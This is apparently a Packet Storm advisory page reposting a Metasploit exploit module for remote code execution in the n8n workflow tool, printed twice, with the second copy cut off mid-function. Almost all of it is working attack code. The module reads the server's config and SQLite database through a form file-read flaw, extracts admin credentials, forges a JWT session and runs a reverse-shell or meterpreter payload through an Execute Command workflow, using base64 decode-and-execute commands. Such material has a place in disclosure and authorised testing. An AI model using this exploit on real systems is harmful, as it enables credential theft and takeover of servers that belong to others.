10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Description
This Metasploit module exploits multiple vulnerabilities in n8n workflow automation tool. It leverages a file read vulnerability to steal encryption keys and database, then uses stolen credentials to authenticate and execute arbitrary commands via the...
Basic Information
ID
PACKETSTORM:215730
Published
Feb 17, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : n8n Workflow Automation - Remote Configuration & Admin Data Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://n8n.io/ |
=============================================================================================================================================
[+] Summary : This Metasploit module demonstrates a proof-of-concept (PoC) for exploiting misconfigurations in n8n workflow automation instances. It shows how an attacker could potentially:
Read configuration files containing sensitive data (e.g., encryption keys).
Extract administrator credentials from the SQLite database.
Generate authentication tokens for privileged access.
Optionally create and execute workflows to run commands (PoC only; not for real attacks).
The module is intended for security research, penetration testing with explicit authorization, and vulnerability reporting. It includes safe error handling, retries, and cleanup procedures to minimize system impact.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'jwt'
require 'sqlite3'
require 'base64'
require 'digest'
require 'tempfile'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'n8n Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in n8n workflow automation tool.
It leverages a file read vulnerability to steal encryption keys and database,
then uses stolen credentials to authenticate and execute arbitrary commands
via the Execute Command node.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-21858'],
['URL', 'https://n8n.io']
],
'Privileged' => false,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to n8n', '/']),
OptString.new('FORM_PATH', [true, 'Path to the vulnerable form endpoint', '/form/']),
OptString.new('HOME_DIR', [true, 'n8n home directory', '/home/n8n']),
OptString.new('BROWSER_ID', [false, 'Browser ID for session', 'msf_browser_' + Rex::Text.rand_text_alphanumeric(8)]),
OptInt.new('WAIT_TIME', [true, 'Time to wait between requests', 5]),
OptBool.new('FOLLOW_REDIRECT', [true, 'Follow HTTP redirects', true]),
OptBool.new('CLEANUP', [true, 'Attempt to clean up created workflows', true]),
OptInt.new('RETRY_COUNT', [true, 'Number of retries for failed requests', 3]),
OptEnum.new('PAYLOAD_METHOD', [true, 'Method to execute payload', 'auto', ['auto', 'bash', 'sh', 'python3', 'python']])
]
)
end
def ensure_payload_loaded
unless payload
print_error("No payload configured. Use 'set PAYLOAD <payload>'")
return false
end
true
end
def parse_json_response(response, context = 'response')
return [nil, "No response to parse"] unless response
begin
json_data = JSON.parse(response.body)
return [json_data, nil]
rescue JSON::ParserError => e
error_msg = "Failed to parse JSON from #{context}: #{e.message}"
if datastore['VERBOSE'] && response.body
print_warning("Raw response (first 200 chars): #{response.body[0..200]}")
end
return [nil, error_msg]
end
end
def send_request_with_retry(opts, expected_codes = [200])
retries = 0
expected_codes = [expected_codes] unless expected_codes.is_a?(Array)
begin
opts['follow_redirect'] = datastore['FOLLOW_REDIRECT'] unless opts.key?('follow_redirect')
res = send_request_cgi(opts)
unless res
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request failed (no response), retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
sleep(1)
retry
else
return [nil, "No response after #{retries} retries"]
end
end
if expected_codes.include?(res.code)
return [res, nil]
else
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request returned HTTP #{res.code} (expected #{expected_codes.join(', ')}), retrying...")
sleep(1)
retry
else
return [res, "Unexpected HTTP code: #{res.code} (expected #{expected_codes.join(', ')})"]
end
end
rescue => e
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request error: #{e.message}, retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
sleep(1)
retry
else
return [nil, "Request failed after #{retries} retries: #{e.message}"]
end
end
end
def read_file_via_form(filepath)
begin
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
form_uri = normalize_uri(base_uri, datastore['FORM_PATH'])
payload = {
'data' => {},
'files' => {
'file' => {
'filepath' => filepath,
'originalFilename' => 'pwn.txt'
}
}
}.to_json
vprint_status("Attempting to read: #{filepath}")
res, error = send_request_with_retry({
'method' => 'POST',
'uri' => form_uri,
'ctype' => 'application/json',
'data' => payload
}, 200)
unless res
print_error("Failed to read #{filepath}: #{error}")
return nil
end
json_res, parse_error = parse_json_response(res, "file read POST response")
if parse_error
print_error("Failed to parse response for #{filepath}: #{parse_error}")
return nil
end
waiting_url = json_res&.dig('formWaitingUrl')
unless waiting_url
print_error("No formWaitingUrl in response for #{filepath}")
return nil
end
vprint_good("Successfully triggered file read for #{filepath}")
sleep(datastore['WAIT_TIME'])
parsed_uri = URI.parse(waiting_url)
file_res, file_error = send_request_with_retry({
'method' => 'GET',
'uri' => parsed_uri.path,
'query' => parsed_uri.query
}, 200)
if file_res
vprint_good("Successfully retrieved #{filepath} (#{file_res.body.length} bytes)")
return file_res.body
else
print_error("Failed to retrieve file content for #{filepath}: #{file_error}")
return nil
end
rescue => e
print_error("Unexpected error reading #{filepath}: #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
return nil
end
end
def extract_encryption_key(config_data)
begin
if config_data =~ /"encryptionKey"\s*:\s*"([^"]+)"/
enc_key = $1
print_good("Found encryption key: #{enc_key}")
every_other = (0...enc_key.length).step(2).map { |i| enc_key[i] }.join
final_secret = Digest::SHA256.hexdigest(every_other)
vprint_good("Generated final secret: #{final_secret}")
return final_secret
else
print_error("Could not find encryptionKey in config file")
return nil
end
rescue => e
print_error("Error extracting encryption key: #{e.message}")
return nil
end
end
def extract_admin_data_sqlite(db_content)
temp_file = nil
db = nil
begin
temp_file = Tempfile.new(['n8n_db', '.sqlite'])
temp_file.binmode
temp_file.write(db_content)
temp_file.close
db = SQLite3::Database.new(temp_file.path)
db.results_as_hash = true
tables = db.execute("SELECT name FROM sqlite_master WHERE type='table'")
table_names = tables.map { |t| t['name'] }
unless table_names.include?('user')
print_warning("No 'user' table found in database. Available tables: #{table_names.join(', ')}")
return nil
end
columns = db.execute("PRAGMA table_info(user)")
column_names = columns.map { |c| c['name'] }
vprint_status("User table columns: #{column_names.join(', ')}")
id_column = column_names.include?('id') ? 'id' : nil
email_column = column_names.include?('email') ? 'email' : nil
password_column = column_names.include?('password') ? 'password' : nil
unless id_column && email_column && password_column
print_error("Required columns not found in user table")
return nil
end
role_columns = column_names.select { |c| c.include?('role') }
admin_query = nil
if role_columns.any?
role_col = role_columns.first
admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user WHERE #{role_col} IN ('global:owner', 'global:admin', 'owner', 'admin') LIMIT 1"
else
admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user ORDER BY createdAt ASC LIMIT 1"
end
users = db.execute(admin_query)
if users.any?
admin_id = users[0][id_column].to_s
admin_email = users[0][email_column]
admin_password = users[0][password_column]
print_good("Found admin via SQLite: #{admin_email} (ID: #{admin_id})")
combined = "#{admin_email}:#{admin_password}"
sha256_digest = Digest::SHA256.digest(combined)
admin_hash = Base64.strict_encode64(sha256_digest)[0..9]
vprint_good("Generated admin hash: #{admin_hash}")
return {
'admin_id' => admin_id,
'admin_email' => admin_email,
'admin_password_hash' => admin_password,
'admin_hash' => admin_hash
}
else
print_warning("No admin users found in database")
return nil
end
rescue SQLite3::Exception => e
print_error("SQLite parsing failed: #{e.message}")
return nil
rescue => e
print_error("Error parsing SQLite: #{e.message}")
return nil
ensure
db&.close if db
if temp_file
temp_file.close
temp_file.unlink
end
end
end
def create_session_token(secret, admin_id, admin_hash)
begin
browser_id = datastore['BROWSER_ID']
hashed_browser = Base64.strict_encode64(Digest::SHA256.digest(browser_id))
payload = {
'id' => admin_id,
'hash' => admin_hash,
'browserId' => hashed_browser,
'usedMfa' => false,
'iat' => Time.now.to_i,
'exp' => Time.now.to_i + 86400
}
token = JWT.encode(payload, secret, 'HS256')
vprint_good("Created authentication token: #{token[0..30]}...")
return token
rescue => e
print_error("Failed to create JWT token: #{e.message}")
return nil
end
end
def create_workflow(token, command)
begin
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_name = "exploit_#{Rex::Text.rand_text_numeric(6)}"
node_id = "node_#{Rex::Text.rand_text_alphanumeric(8)}"
workflow_data = {
'name' => workflow_name,
'active' => false,
'nodes' => [
{
'parameters' => {
'command' => command
},
'name' => 'Execute Command',
'type' => 'n8n-nodes-base.executeCommand',
'typeVersion' => 1,
'position' => [250, 250],
'id' => node_id
}
],
'connections' => {}
}.to_json
res, error = send_request_with_retry({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'rest', 'workflows'),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}",
'data' => workflow_data
}, 200)
unless res
print_error("Failed to create workflow: #{error}")
return nil
end
json_res, parse_error = parse_json_response(res, "workflow creation")
if parse_error
print_error("Failed to parse workflow creation response: #{parse_error}")
return nil
end
workflow_id = json_res&.dig('data', 'id')
unless workflow_id
print_error("No workflow ID in response")
return nil
end
print_good("Created workflow: #{workflow_id}")
return json_res['data']
rescue => e
print_error("Error creating workflow: #{e.message}")
return nil
end
end
def execute_workflow(token, workflow_info)
begin
return [nil, "No workflow info"] unless workflow_info&.dig('id')
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_id = workflow_info['id']
run_res, run_error = send_request_with_retry({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'rest', 'workflows', workflow_id, 'run'),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}",
'data' => { 'workflowData' => workflow_info }.to_json
}, 200)
unless run_res
return [nil, "Failed to execute workflow: #{run_error}"]
end
json_res, parse_error = parse_json_response(run_res, "execution")
if parse_error
return [nil, "Failed to parse execution response: #{parse_error}"]
end
execution_id = json_res&.dig('data', 'executionId')
unless execution_id
return [nil, "No execution ID in response"]
end
vprint_good("Executed workflow, execution ID: #{execution_id}")
sleep(2)
result_res, result_error = send_request_with_retry({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'rest', 'executions', execution_id),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}"
}, 200)
unless result_res
return [nil, "Failed to get execution result: #{result_error}"]
end
json_res, parse_error = parse_json_response(result_res, "execution result")
if parse_error
return [nil, "Failed to parse execution result: #{parse_error}"]
end
raw_data = json_res&.dig('data', 'data')
unless raw_data
return [nil, "No data in execution result"]
end
begin
exec_data = JSON.parse(raw_data)
output = extract_command_output(exec_data)
return [output, nil]
rescue JSON::ParserError
return [raw_data, nil]
end
rescue => e
return [nil, "Error executing workflow: #{e.message}"]
end
end
def extract_command_output(exec_data)
if exec_data.is_a?(Array)
exec_data.reverse.each do |item|
if item.is_a?(String) && !item.empty? && item != 'Execute Command' && !item.start_with?('node-')
return item.strip
end
end
end
"No output captured"
end
def cleanup_workflows(token, workflow_ids)
return unless datastore['CLEANUP'] && workflow_ids&.any?
print_status("Cleaning up #{workflow_ids.length} workflows...")
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_ids.each do |wf_id|
begin
res, error = send_request_with_retry({
'method' => 'DELETE',
'uri' => normalize_uri(base_uri, 'rest', 'workflows', wf_id),
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}"
}, [200, 204, 404]) # 404 يعني أنه محذوف بالفعل
if res && (res.code == 200 || res.code == 204)
print_status("Cleaned up workflow: #{wf_id}")
elsif res && res.code == 404
print_status("Workflow #{wf_id} already deleted")
else
print_warning("Failed to delete workflow #{wf_id}: #{error}")
end
rescue => e
print_warning("Error during cleanup of workflow #{wf_id}: #{e.message}")
end
end
end
def check
begin
test_file = "#{datastore['HOME_DIR']}/.n8n/config"
data = read_file_via_form(test_file)
if data && data.include?('encryptionKey')
print_good("Target appears vulnerable - found encryption key in config")
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
rescue => e
print_error("Error during check: #{e.message}")
return Exploit::CheckCode::Unknown
end
end
def select_payload_method
method = datastore['PAYLOAD_METHOD']
if method == 'auto'
[
['bash', 'bash -c'],
['sh', 'sh -c'],
['python3', 'python3 -c'],
['python', 'python -c']
].each do |name, _|
return name
end
return 'bash'
end
method
end
def generate_compatible_payload
unless ensure_payload_loaded
return nil
end
case target['Arch']
when ARCH_CMD
command = payload.encoded
if command.length > 1000
print_warning("Command payload is very long (#{command.length} chars)")
end
vprint_status("Using command payload")
return command
else
payload_b64 = Rex::Text.encode_base64(payload.encoded)
method = select_payload_method
commands = {
'bash' => "echo #{payload_b64} | base64 -d | bash",
'sh' => "echo #{payload_b64} | base64 -d | sh",
'python3' => "echo #{payload_b64} | python3 -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'",
'python' => "echo #{payload_b64} | python -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'"
}
selected_command = commands[method]
if selected_command
print_status("Using #{method} method for payload execution")
return selected_command
else
print_warning("Unknown method #{method}, falling back to bash")
return commands['bash']
end
end
end
def exploit
print_status("Starting n8n exploitation...")
unless ensure_payload_loaded
return
end
created_workflows = []
token = nil
admin_data = nil
secret = nil
begin
print_status("Step 1: Stealing configuration file...")
config_path = "#{datastore['HOME_DIR']}/.n8n/config"
config_data = read_file_via_form(config_path)
unless config_data
print_error("Failed to read config file. Target may not be vulnerable or path is incorrect.")
return
end
print_status("Step 2: Extracting encryption key...")
secret = extract_encryption_key(config_data)
unless secret
print_error("Failed to extract encryption key")
return
end
print_status("Step 3: Stealing database file...")
db_path = "#{datastore['HOME_DIR']}/.n8n/database.sqlite"
db_data = read_file_via_form(db_path)
unless db_data
print_error("Failed to read database file")
return
end
print_status("Step 4: Extracting admin credentials...")
admin_data = extract_admin_data_sqlite(db_data)
unless admin_data
print_error("Failed to extract admin data using SQLite parser")
print_error("Database may be corrupted or from different n8n version")
return
end
print_good("Successfully extracted admin credentials for: #{admin_data['admin_email']}")
print_status("Step 5: Creating authentication token...")
token = create_session_token(secret, admin_data['admin_id'], admin_data['admin_hash'])
unless token
print_error("Failed to create authentication token")
return
end
print_status("Step 6: Preparing payload...")
command = generate_compatible_payload
unless command
print_error("Failed to generate payload")
return
end
print_status("Step 7: Creating malicious workflow...")
workflow_info = create_workflow(token, command)
unless workflow_info
print_error("Failed to create workflow")
return
end
created_workflows << workflow_info['id']
print_status("Step 8: Executing payload...")
output, error = execute_workflow(token, workflow_info)
if error
print_warning("Execution completed with warning: #{error}")
end
if output && output != "No output captured"
print_good("Command executed successfully!")
print_line("\n#{output}\n")
else
print_warning("No output captured, but payload may have executed")
end
print_status("Step 9: Saving loot...")
loot_path = store_loot(
'n8n.config',
'text/plain',
rhost,
config_data,
'n8n_config.txt',
'n8n Configuration File'
)
print_good("Saved config to: #{loot_path}")
loot_path = store_loot(
'n8n.database',
'application/x-sqlite3',
rhost,
db_data,
'n8n_database.sqlite',
'n8n SQLite Database'
)
print_good("Saved database to: #{loot_path}")
print_good("Exploitation completed!")
rescue => e
print_error("Unexpected error during exploitation: #{e.message}")
if datastore['VERBOSE']
print_error("Backtrace: #{e.backtrace.join("\n")}")
end
ensure
if token && created_workflows.any?
cleanup_workflows(token, created_workflows)
elsif created_workflows.any?
print_warning("Cannot clean up workflows without authentication token")
end
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : n8n Workflow Automation - Remote Configuration & Admin Data Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://n8n.io/ |
=============================================================================================================================================
[+] Summary : This Metasploit module demonstrates a proof-of-concept (PoC) for exploiting misconfigurations in n8n workflow automation instances. It shows how an attacker could potentially:
Read configuration files containing sensitive data (e.g., encryption keys).
Extract administrator credentials from the SQLite database.
Generate authentication tokens for privileged access.
Optionally create and execute workflows to run commands (PoC only; not for real attacks).
The module is intended for security research, penetration testing with explicit authorization, and vulnerability reporting. It includes safe error handling, retries, and cleanup procedures to minimize system impact.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'jwt'
require 'sqlite3'
require 'base64'
require 'digest'
require 'tempfile'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'n8n Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in n8n workflow automation tool.
It leverages a file read vulnerability to steal encryption keys and database,
then uses stolen credentials to authenticate and execute arbitrary commands
via the Execute Command node.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-21858'],
['URL', 'https://n8n.io']
],
'Privileged' => false,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to n8n', '/']),
OptString.new('FORM_PATH', [true, 'Path to the vulnerable form endpoint', '/form/']),
OptString.new('HOME_DIR', [true, 'n8n home directory', '/home/n8n']),
OptString.new('BROWSER_ID', [false, 'Browser ID for session', 'msf_browser_' + Rex::Text.rand_text_alphanumeric(8)]),
OptInt.new('WAIT_TIME', [true, 'Time to wait between requests', 5]),
OptBool.new('FOLLOW_REDIRECT', [true, 'Follow HTTP redirects', true]),
OptBool.new('CLEANUP', [true, 'Attempt to clean up created workflows', true]),
OptInt.new('RETRY_COUNT', [true, 'Number of retries for failed requests', 3]),
OptEnum.new('PAYLOAD_METHOD', [true, 'Method to execute payload', 'auto', ['auto', 'bash', 'sh', 'python3', 'python']])
]
)
end
def ensure_payload_loaded
unless payload
print_error("No payload configured. Use 'set PAYLOAD <payload>'")
return false
end
true
end
def parse_json_response(response, context = 'response')
return [nil, "No response to parse"] unless response
begin
json_data = JSON.parse(response.body)
return [json_data, nil]
rescue JSON::ParserError => e
error_msg = "Failed to parse JSON from #{context}: #{e.message}"
if datastore['VERBOSE'] && response.body
print_warning("Raw response (first 200 chars): #{response.body[0..200]}")
end
return [nil, error_msg]
end
end
def send_request_with_retry(opts, expected_codes = [200])
retries = 0
expected_codes = [expected_codes] unless expected_codes.is_a?(Array)
begin
opts['follow_redirect'] = datastore['FOLLOW_REDIRECT'] unless opts.key?('follow_redirect')
res = send_request_cgi(opts)
unless res
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request failed (no response), retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
sleep(1)
retry
else
return [nil, "No response after #{retries} retries"]
end
end
if expected_codes.include?(res.code)
return [res, nil]
else
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request returned HTTP #{res.code} (expected #{expected_codes.join(', ')}), retrying...")
sleep(1)
retry
else
return [res, "Unexpected HTTP code: #{res.code} (expected #{expected_codes.join(', ')})"]
end
end
rescue => e
retries += 1
if retries < datastore['RETRY_COUNT']
vprint_warning("Request error: #{e.message}, retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
sleep(1)
retry
else
return [nil, "Request failed after #{retries} retries: #{e.message}"]
end
end
end
def read_file_via_form(filepath)
begin
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
form_uri = normalize_uri(base_uri, datastore['FORM_PATH'])
payload = {
'data' => {},
'files' => {
'file' => {
'filepath' => filepath,
'originalFilename' => 'pwn.txt'
}
}
}.to_json
vprint_status("Attempting to read: #{filepath}")
res, error = send_request_with_retry({
'method' => 'POST',
'uri' => form_uri,
'ctype' => 'application/json',
'data' => payload
}, 200)
unless res
print_error("Failed to read #{filepath}: #{error}")
return nil
end
json_res, parse_error = parse_json_response(res, "file read POST response")
if parse_error
print_error("Failed to parse response for #{filepath}: #{parse_error}")
return nil
end
waiting_url = json_res&.dig('formWaitingUrl')
unless waiting_url
print_error("No formWaitingUrl in response for #{filepath}")
return nil
end
vprint_good("Successfully triggered file read for #{filepath}")
sleep(datastore['WAIT_TIME'])
parsed_uri = URI.parse(waiting_url)
file_res, file_error = send_request_with_retry({
'method' => 'GET',
'uri' => parsed_uri.path,
'query' => parsed_uri.query
}, 200)
if file_res
vprint_good("Successfully retrieved #{filepath} (#{file_res.body.length} bytes)")
return file_res.body
else
print_error("Failed to retrieve file content for #{filepath}: #{file_error}")
return nil
end
rescue => e
print_error("Unexpected error reading #{filepath}: #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
return nil
end
end
def extract_encryption_key(config_data)
begin
if config_data =~ /"encryptionKey"\s*:\s*"([^"]+)"/
enc_key = $1
print_good("Found encryption key: #{enc_key}")
every_other = (0...enc_key.length).step(2).map { |i| enc_key[i] }.join
final_secret = Digest::SHA256.hexdigest(every_other)
vprint_good("Generated final secret: #{final_secret}")
return final_secret
else
print_error("Could not find encryptionKey in config file")
return nil
end
rescue => e
print_error("Error extracting encryption key: #{e.message}")
return nil
end
end
def extract_admin_data_sqlite(db_content)
temp_file = nil
db = nil
begin
temp_file = Tempfile.new(['n8n_db', '.sqlite'])
temp_file.binmode
temp_file.write(db_content)
temp_file.close
db = SQLite3::Database.new(temp_file.path)
db.results_as_hash = true
tables = db.execute("SELECT name FROM sqlite_master WHERE type='table'")
table_names = tables.map { |t| t['name'] }
unless table_names.include?('user')
print_warning("No 'user' table found in database. Available tables: #{table_names.join(', ')}")
return nil
end
columns = db.execute("PRAGMA table_info(user)")
column_names = columns.map { |c| c['name'] }
vprint_status("User table columns: #{column_names.join(', ')}")
id_column = column_names.include?('id') ? 'id' : nil
email_column = column_names.include?('email') ? 'email' : nil
password_column = column_names.include?('password') ? 'password' : nil
unless id_column && email_column && password_column
print_error("Required columns not found in user table")
return nil
end
role_columns = column_names.select { |c| c.include?('role') }
admin_query = nil
if role_columns.any?
role_col = role_columns.first
admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user WHERE #{role_col} IN ('global:owner', 'global:admin', 'owner', 'admin') LIMIT 1"
else
admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user ORDER BY createdAt ASC LIMIT 1"
end
users = db.execute(admin_query)
if users.any?
admin_id = users[0][id_column].to_s
admin_email = users[0][email_column]
admin_password = users[0][password_column]
print_good("Found admin via SQLite: #{admin_email} (ID: #{admin_id})")
combined = "#{admin_email}:#{admin_password}"
sha256_digest = Digest::SHA256.digest(combined)
admin_hash = Base64.strict_encode64(sha256_digest)[0..9]
vprint_good("Generated admin hash: #{admin_hash}")
return {
'admin_id' => admin_id,
'admin_email' => admin_email,
'admin_password_hash' => admin_password,
'admin_hash' => admin_hash
}
else
print_warning("No admin users found in database")
return nil
end
rescue SQLite3::Exception => e
print_error("SQLite parsing failed: #{e.message}")
return nil
rescue => e
print_error("Error parsing SQLite: #{e.message}")
return nil
ensure
db&.close if db
if temp_file
temp_file.close
temp_file.unlink
end
end
end
def create_session_token(secret, admin_id, admin_hash)
begin
browser_id = datastore['BROWSER_ID']
hashed_browser = Base64.strict_encode64(Digest::SHA256.digest(browser_id))
payload = {
'id' => admin_id,
'hash' => admin_hash,
'browserId' => hashed_browser,
'usedMfa' => false,
'iat' => Time.now.to_i,
'exp' => Time.now.to_i + 86400
}
token = JWT.encode(payload, secret, 'HS256')
vprint_good("Created authentication token: #{token[0..30]}...")
return token
rescue => e
print_error("Failed to create JWT token: #{e.message}")
return nil
end
end
def create_workflow(token, command)
begin
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_name = "exploit_#{Rex::Text.rand_text_numeric(6)}"
node_id = "node_#{Rex::Text.rand_text_alphanumeric(8)}"
workflow_data = {
'name' => workflow_name,
'active' => false,
'nodes' => [
{
'parameters' => {
'command' => command
},
'name' => 'Execute Command',
'type' => 'n8n-nodes-base.executeCommand',
'typeVersion' => 1,
'position' => [250, 250],
'id' => node_id
}
],
'connections' => {}
}.to_json
res, error = send_request_with_retry({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'rest', 'workflows'),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}",
'data' => workflow_data
}, 200)
unless res
print_error("Failed to create workflow: #{error}")
return nil
end
json_res, parse_error = parse_json_response(res, "workflow creation")
if parse_error
print_error("Failed to parse workflow creation response: #{parse_error}")
return nil
end
workflow_id = json_res&.dig('data', 'id')
unless workflow_id
print_error("No workflow ID in response")
return nil
end
print_good("Created workflow: #{workflow_id}")
return json_res['data']
rescue => e
print_error("Error creating workflow: #{e.message}")
return nil
end
end
def execute_workflow(token, workflow_info)
begin
return [nil, "No workflow info"] unless workflow_info&.dig('id')
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_id = workflow_info['id']
run_res, run_error = send_request_with_retry({
'method' => 'POST',
'uri' => normalize_uri(base_uri, 'rest', 'workflows', workflow_id, 'run'),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}",
'data' => { 'workflowData' => workflow_info }.to_json
}, 200)
unless run_res
return [nil, "Failed to execute workflow: #{run_error}"]
end
json_res, parse_error = parse_json_response(run_res, "execution")
if parse_error
return [nil, "Failed to parse execution response: #{parse_error}"]
end
execution_id = json_res&.dig('data', 'executionId')
unless execution_id
return [nil, "No execution ID in response"]
end
vprint_good("Executed workflow, execution ID: #{execution_id}")
sleep(2)
result_res, result_error = send_request_with_retry({
'method' => 'GET',
'uri' => normalize_uri(base_uri, 'rest', 'executions', execution_id),
'ctype' => 'application/json',
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}"
}, 200)
unless result_res
return [nil, "Failed to get execution result: #{result_error}"]
end
json_res, parse_error = parse_json_response(result_res, "execution result")
if parse_error
return [nil, "Failed to parse execution result: #{parse_error}"]
end
raw_data = json_res&.dig('data', 'data')
unless raw_data
return [nil, "No data in execution result"]
end
begin
exec_data = JSON.parse(raw_data)
output = extract_command_output(exec_data)
return [output, nil]
rescue JSON::ParserError
return [raw_data, nil]
end
rescue => e
return [nil, "Error executing workflow: #{e.message}"]
end
end
def extract_command_output(exec_data)
if exec_data.is_a?(Array)
exec_data.reverse.each do |item|
if item.is_a?(String) && !item.empty? && item != 'Execute Command' && !item.start_with?('node-')
return item.strip
end
end
end
"No output captured"
end
def cleanup_workflows(token, workflow_ids)
return unless datastore['CLEANUP'] && workflow_ids&.any?
print_status("Cleaning up #{workflow_ids.length} workflows...")
base_uri = datastore['TARGETURI']
base_uri = '/' if base_uri.empty?
workflow_ids.each do |wf_id|
begin
res, error = send_request_with_retry({
'method' => 'DELETE',
'uri' => normalize_uri(base_uri, 'rest', 'workflows', wf_id),
'headers' => {
'browser-id' => datastore['BROWSER_ID']
},
'cookie' => "n8n-auth=#{token}"
}, [200, 204, 404]) # 404 يعني أنه محذوف بالفعل
if res && (res.code == 200 || res.code == 204)
print_status("Cleaned up workflow: #{wf_id}")
elsif res && res.code == 404
print_status("Workflow #{wf_id} already deleted")
else
print_warning("Failed to delete workflow #{wf_id}: #{error}")
end
rescue => e
print_warning("Error during cleanup of workflow #{wf_id}: #{e.message}")
end
end
end
def check
begin
test_file = "#{datastore['HOME_DIR']}/.n8n/config"
data = read_file_via_form(test_file)
if data && data.include?('encryptionKey')
print_good("Target appears vulnerable - found encryption key in config")
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
rescue => e
print_error("Error during check: #{e.message}")
return Exploit::CheckCode::Unknown
end
end
def select_payload_method
method = datastore['PAYLOAD_METHOD']
if method == 'auto'
[
['bash', 'bash -c'],
['sh', 'sh -c'],
['python3', 'python3 -c'],
['python', 'python -c']
].each do |name, _|
return name
end
return 'bash'
